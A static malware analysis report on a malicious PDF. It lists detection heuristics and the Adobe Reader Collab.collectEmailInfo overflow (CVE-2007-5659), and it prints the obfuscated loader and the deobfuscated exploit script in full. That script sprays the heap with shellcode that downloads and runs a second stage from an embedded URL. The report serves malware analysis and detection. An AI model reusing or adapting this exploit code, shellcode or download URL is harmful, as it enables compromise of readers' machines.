Malicious PDF — malware analysis report

Static analysis result for SHA-256 e09ef29e7f71dfad…

MALICIOUS

PDF

4.5 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2026-05-08
MD5: 46ab03ee8c5d61785beac9991b1c1588 SHA-1: bcb390cd967b7473761a3d0ab60a349d12d6caa9 SHA-256: e09ef29e7f71dfad85354ecec49cef22621b44a9df07981e18a94691c1bd1f7b
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file exhibits multiple heuristic firings related to JavaScript execution, including embedded JS streams and eval() calls, indicating a high likelihood of malicious scripting. The presence of an embedded JavaScript file, 'javascript_obj0013_001.js', further supports this. The obfuscated nature of the script suggests an attempt to conceal its true purpose, which is likely to download and execute a second-stage payload or exploit a vulnerability within the PDF reader. The confidence is moderate due to the obfuscation preventing a definitive analysis of the script's exact actions.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function q8TX7csar6OB(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function WWNNEG9T8xjs(ORp4gfsMACvIG){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(ORp4gfsMACvIG)"+";"+"}");eval("function JcCXz(y9hNxdQ){var i4LIT8="+"0,SAtjShh=y9hNxdQ.l"+"en"+"gth,jcP8bAbBX=10"+"2"+"4,ajEnvTwcqtGHr,ilEuSwGtZ,TAqcM='',iA8Xy31u=i4LIT8,oov9fQaQfUtck=i4LIT8,lPmMGO=i4LIT8,dhslEqoFlT7=Ar"+"ra"+"y(63,7,32,52,28,8,3,13,19,30,0, …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://abb192.cn/exp/load.php?id=7856&spl=4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x36A 6349 bytes
SHA-256: 62605b9a939bca72cfe4d171fe9e4cb54245cd0e74d7aa1f2f2e33ca28178244
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 181 of 246 identifiers look randomly generated (e.g. 'xIzYqn_jUcHMn6Ii8cI2ujkkktjxSnTC2oUfEUZ2'); 2 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function q8TX7csar6OB(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function WWNNEG9T8xjs(ORp4gfsMACvIG){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(ORp4gfsMACvIG)"+";"+"}");eval("function JcCXz(y9hNxdQ){var i4LIT8="+"0,SAtjShh=y9hNxdQ.l"+"en"+"gth,jcP8bAbBX=10"+"2"+"4,ajEnvTwcqtGHr,ilEuSwGtZ,TAqcM='',iA8Xy31u=i4LIT8,oov9fQaQfUtck=i4LIT8,lPmMGO=i4LIT8,dhslEqoFlT7=Ar"+"ra"+"y(63,7,32,52,28,8,3,13,19,30,0,0,0,0,0,0,25,57,47,56,43,51,42,29,58,18,41,38,35,12,31,39,55,60,40,5,2,20,59,44,62,37,33,0,0,0,0,27,0,26,22,14,50,48,17,54,36,45,0,21,46,34,16,10,1,4,9,24,15,49,23,61,53,6,11);f"+"o"+"r(ilEuSwGtZ=M"+"at"+"h.c"+"ei"+"l(SAtjShh/"+"jcP8bAbBX)"+";ilEuSwGtZ>i4LIT8;ilEuSwGtZ-"+"-){fo"+"r(ajEnvTwcqtGHr=Ma"+"th.m"+"in(SAtjShh,jcP8bAbBX);ajEnvTwcqtGHr>i4LIT8;ajEnvTwcqtGHr-"+"-,SAtjShh-"+"-){lPmMGO|"+"=(dhslEqoFlT7[y9hNxdQ.cha"+"rCod"+"eAt(iA8Xy31u+"+"+)-48])<"+"<oov9fQaQfUtck;if(oov9fQaQfUtck){TAqcM+"+"=WWNNEG9T8xjs"+"(96^lPmMGO&"+"2"+"5"+"5);lPmMGO>"+">="+"8;oov9fQaQfUtck-"+"="+"2;}el"+"se{oov9fQaQfUtck="+"6"+";}}"+"}return (TAqcM);}var dEFpofVJ=implode('',['j@fjIjU','cH','M','n6IpUvj','AnpvjU5','I5fj@2UI_phpkC','ej','Uhe6cj3j8qLrt3jIT','C2oU','f','EUZ2','ZcORLM','I568j','xdjWR','d5sskIj','ip','nv','2nTMUjn','5r26','Fn','S78','S','TyH4mcd5','ZMc','unpc4jS','5R','hU4xdjW','R','d5sskI_526F','nS78STyH4','mcd5Z','MjiU','v','j','r','26F','n','S78','STyH4mcd5ZM_','xp','nTC2','oUfEUZ2ZcORLM','I56nG','phjcRTk','3Mk5','sR','ErH5','LqdC','3qk5eqU5f','Tc4jInuUz6','e','moL2ZktrkI_','phqSnfS','ICj','nTC2oUfEUZ2','ZcO','RLMI5Ebjxpn','yUZ6','6nfTtCjn','Pn','TbfnL','SqqY','q5Yqn_','jhSp','5','pnCsfSi','sxqb3T','nGpq','Usjxjn7jU6jxj_phSp5pnMn','T','SU','ME7KejnGpUScUeq6','qjqS2hnSk','pk','8fxUS','kpk','8fxU','Skpk8fxUSkpUKUm','5','SkuU8k','Y5Sk','Zkb','7Ib','Skpb','nrI','bS','k','pbnpkU','SkfrKMxUSkfrIfxUSkfrmsI5Skfrspk','kSkZ','rKUd5S','kZrKsmrSkp','bm4','YrSk','prKnkrSkfrKUmrSkZkUkmrSkf','r8SmrSkfbKsSkSkp','kI@d','U','SkfbK','sSkSkZkYUdkS','kfrK','jxU','SkfrKUm5','SkZk','U','kmrSk','Z5@pxU','SkZkfZxkSkfrfSIUSk','pUvpxU','SkfrKqkUS','kfrKUm','rSkf5ZsYkSkZ5@km5Sk','ukvZxkSkZ','kkSkUSkpU','vkIUSkfrKqYr','S','kfr','KUmrS','kf5Z','sYkSkZ5@kdkSku','5Z2xkSkfUnkYrSkpUvrSrSk','fr','KjSrSkfrKUmrSkf5Zs','YkS','kZ5','@k','d','U','SkpUnZxkSkpUK5k','U','Sk','pUvZYrSk','frKMY5','S','kfr','KU','mrSk','f5ZsYkSkZ5@@mrSkZUY2xk','SkpUZh','YkSk','pU','vkx','kS','k','frK5kbSkfrKU','mrSk','f5ZsY','kSkf5Ksm5Sk','prv@YrSkfbZ5','x5SkZkb','SkkSkZrvSI5','SkfrspYk','Sk','frKUIrSkZ5','fkm','rS','k','fbZsYkSkZkU7m5S','kfrmqI5SkfrY2kkS','kZ','k','U','r','mkS','kZrvrI5Sk','pUvr','IbS','kfrKsSkSkfr','KUm','rSkp','bvrmrS','kZrk','f','IbSk','fbKMTUSkuksp','xk','Skf','rK','UmrSkZkbk','mrSkZr','8','S','I5Sk','ZUZsSkSk','ZU','Ksx5SkZkbrmrS','ku5KqI5S','k','fUnZxkSk','frKUmrSk','Z5K','UmrSkf5ZsSk','Skpbk@m5S','k','Z5bkTr','SkZ5Z','sSk','SkpUv','@dk','SkfrK2krSkfrKUmrSkf','5ZUd5S','kZUs7','mrSkZ58kmrSku','5fYkUSkZUsZ','k5Skfrmq','mrSkpb','ZhxkS','k','f','r','KUmrSkfbZ','qSUSkZkU7','mrS','kfr','8SI5Skf','r','Y2','kkS','kZ','kUrmkSkZr','vrI5S','k','f5KjxkSkfrKUmrSkp','bkkmrSkZ5vk','TbSkf5ZUd','5SkprLMm5SkZ5','LMSk','Sk','fU','nr','d','5S','ku5Khk5SkZ5L5','mrS','kf5Zs','SkSkpbk','@dUSkZ5b','kI5SkZ5ZsSk','Skp','U','v@dkSkfrKM','d','5SkfrKUmr','SkfrK','2kkSk','fbZqSUS','k','ZkU7mrSkfrv','SI5Sk','frh2kkSk','ZkUrm','k','SkZrvrI5SkZr','Kjx','kSkf','rKUmrSkpbkkm','rSk','ZkUSSU','S','kZrKqI5SkfrY','2kk','SkZk','Urm','kSk','ZrvrI','5SkfrKjxkSkfr','K','UmrSkf5YU','mrSkZ','5','h5T','kS','k','pUYUd5S','k','pUYUd5SkpUYUd','5SkpUYUd5','SkpU8@x5SkZ','5kkm5SkZ','kUrd5Sk','pUhMkkSk','Z5hqSbSk','pUKq','SUSk','ZkUr','I5SkZk','U','pxU','SkfrvYYUSkZ5I@SkSkZ5','@kdUS','kfbLs','Sk','Sk','ZkUfdUSkZrf','YY5SkfrLh','xk','SkZ5@S','x5Skf','b','@@SkSk','frLMmrSkprLqx','5Skf5b','rY','kSkpk','ISIrSkZU','LUd5','Skp','rL5I','bSkfrnS','k','bSk','Zr','KUkUSkf','UhnIkSkf','rvYY5SkZUfr','krSkf','r','LUmUS','kf5Kq','SrS','kfUYjSkS','kfU','ffT','kSkfbZ','5IUSkZ5kpk','5SkpUU@SkSkZ5k','@SkSkfr','LMm5Skpb@','7YU','Sk','fr8@','Sk','S','kZkU','STkSkZ','r8rIk','Sku','U','I','kd5Skfr','msSkSkfrLsSkSkZ5','frk5SkZ','Uh5mUSkf','r','KUdkSkfU','mjxk','SkfUn','SkUSkZ','5','ZqS','USkf58','r','TrSkf','5n','SmUS','kfrK','qIUSkukU@','SbSkuknG','SkSkZUKM','k5','SkZkfrYrSkZkI@YUS','kuU@7','kUSkZUYM','YUSkZ','kYsxUSk','Zk','krYrSkukn','GSbSkZkL','5YrS','kZk','f@','YrSkZUYs','SkS','kZksGS','USkuUK4SUSkZkU@kb','SkuUv','7SrS','kuUk7SbSkZ','Ub','7Y','kSkuknG','xUS','kuUhsx5Sk','pUn7Sk','TY3bj@fjI','jqSa4kcI2Eq7M8','rjxS','nnZpknpSUn','pxbj@fjIjh','SnkI6P5LpujUv','jujrUnuMPs','T','6cunpc4','jS','5j','hIjrxbj@fjIjU','z6emoL2Zk','jxSnURukA5pc83eM','YjU8jZ','hS','nkI6','P5LpuWqUs','MSbr','iSnb','q2qjr26FnS78ST','y','H4mcd','5','ZMjxSnkC','np8Mn','jnUjITkUS@pk','bnkUS@pkbn','rUI_ph','jcRTk','3','M','k5sRErH5LqdjUvj7equsd67','2hjcRTk3M','k5','sRErH5Lqdeq','n','iMjzFMTybY3bj@fj','I','jqSy4nSI26nG','pqICs','fSis','x','qb3','T','n7pqU','snSUnp','S','U','nY38URukA5pc83e','MYWSnyQ2','qj','ZhSp5','pnA','5py6UkkGpxbA5py','6Uk','k4','fZ','p1','U','Zq','CWk','cI2u','jkk','xIzYqn_jUcHMn6Ii8cI2ujkkktjxSnTC2oUfEUZ2ZcOR','LMI56','nzpq6hnpSE4LrM','WS','nG','j','U1','j@n','ScMj','SrQ26jkejv2pUvnkT','c2UI','jipnbq2qjZ','I','j8p','uMiRu','pn','@6nGpUjnjZ8b','hnpvU2qg','U2q8he6cCqS','tM','6SIh','26','12U','I_p','qopMSqE3my1jY7jxSnRqeUnM8za4jUgChqSj','p6p','Mnp5wqth','Q3p','Mr','hn','r','i','Sn','b','q2qjGuSUSYjos','p7RCnyUWjnGph','6S4pnZ5ZqphpIRq','eUnM8z','a','4jUgC3j5q2qZnpInYq8Rq','eU','nM8za','4','j','UgC3','j5','q2qZ','npIfYq8RqeUnM8','za4jUgC3j5q2qZnpIIYUI_pUTy','jqI5GuS','USY','j','osp7RCnyUWecnx6nGxSn','sphf','ypqI5GuSUSYjosp7','RCn','yUWecfx6','n','GxSnfphfyp3SvnkU','TR2S32m6@nuTV5ktjuSnI','Yqn4epnv','4pkfr2','Tb','n6','ochpSzW8','Uw','j','qvjSkIr','p','q14jq','Iv','4pkfr2T','bn6ochpSzW6','UwjUvGp3kj@hfjGuS','USYjo','sp7RCnyUWecf','x6n','4pUUrpq14jqIv4p','kf','r2Tbn6ochpSzW','6Uwj','q','vjGkIrp3','yjG6rsSp7bnnUI','2','UI','_phSp5pnq4','n','yM','U6nGpUScUeq6q','jqS2hn','SkpU6j','xjSkpU6','j','xj','T','Y3b','jGpTr','en','p5','f','ep@','en7cunpc4jS5jqv','jfSk@kYUrpqp1hp6','xj3IGpqp1h','p6xWSnU2n','T8C3jtej6p5eMU','Q2qSj','Uvj7d6M','enjTC3jte','j','6','SM','jSY3n','jrenocse65iu','qk52Tap','hnTuU6842bjf','ep@en7','Gh3b','jxpnGjU','p6','4pynGp','krC','jIriS']);");eval(JcCXz(dEFpofVJ));}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery sixbit-xor-table from JavaScript object 13 at offset 0x36A 2585 bytes
SHA-256: 080a90a98d1ccf667124eac23df2d9adc3c568cea319931c99f6366fd8a6e948
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var YZcm2 = new Array(); function csQFom(bnJ4T3AxZGZRrR, McLJCx6) { while (bnJ4T3AxZGZRrR.length*2<McLJCx6){bnJ4T3AxZGZRrR += bnJ4T3AxZGZRrR;} bnJ4T3AxZGZRrR = bnJ4T3AxZGZRrR.substring(0,McLJCx6/2); return bnJ4T3AxZGZRrR; } function WD8qTvd1r() { var XvuM6svM = 0x0c0c0c0c; var lDttSWFl = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u612F%u6262%u3931%u2E32%u6E63%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u373D%u3538%u2636%u7073%u3D6C%u0034"); var tz7YrXsmSE = 0x400000; var v0EmWRfQ = lDttSWFl.length * 2; var McLJCx6 = tz7YrXsmSE - (v0EmWRfQ+0x38); var bnJ4T3AxZGZRrR = unescape("%u9090%u9090"); bnJ4T3AxZGZRrR = csQFom(bnJ4T3AxZGZRrR, McLJCx6); var tfgurX = (XvuM6svM - 0x400000)/tz7YrXsmSE; for (var Yrxc55=0;Yrxc55<tfgurX;Yrxc55++) { YZcm2[Yrxc55] = bnJ4T3AxZGZRrR + lDttSWFl; } } function ecwx0w4in() { var Ha3pSMzg0V = app.viewerVersion.toString(); Ha3pSMzg0V = Ha3pSMzg0V.replace(/\D/g,""); var ww41bjvTHnytk = new Array(Ha3pSMzg0V.charAt(0),Ha3pSMzg0V.charAt(1),Ha3pSMzg0V.charAt(2)); if ((ww41bjvTHnytk[0] == 8 && ((ww41bjvTHnytk[1] == 1 && ww41bjvTHnytk[2] < 2) || ww41bjvTHnytk[1] < 1)) || (ww41bjvTHnytk[0] == 7 && ww41bjvTHnytk[1] < 1) || (ww41bjvTHnytk[0] < 7)) { WD8qTvd1r(); var dgylU = unescape("%u0c0c%u0c0c"); while(dgylU.length < 44952) dgylU += dgylU; this.collabStore = Collab.collectEmailInfo({subj: "",msg: dgylU}); } } ecwx0w4in();

Open this report in the interactive analyzer, or submit your own file for analysis.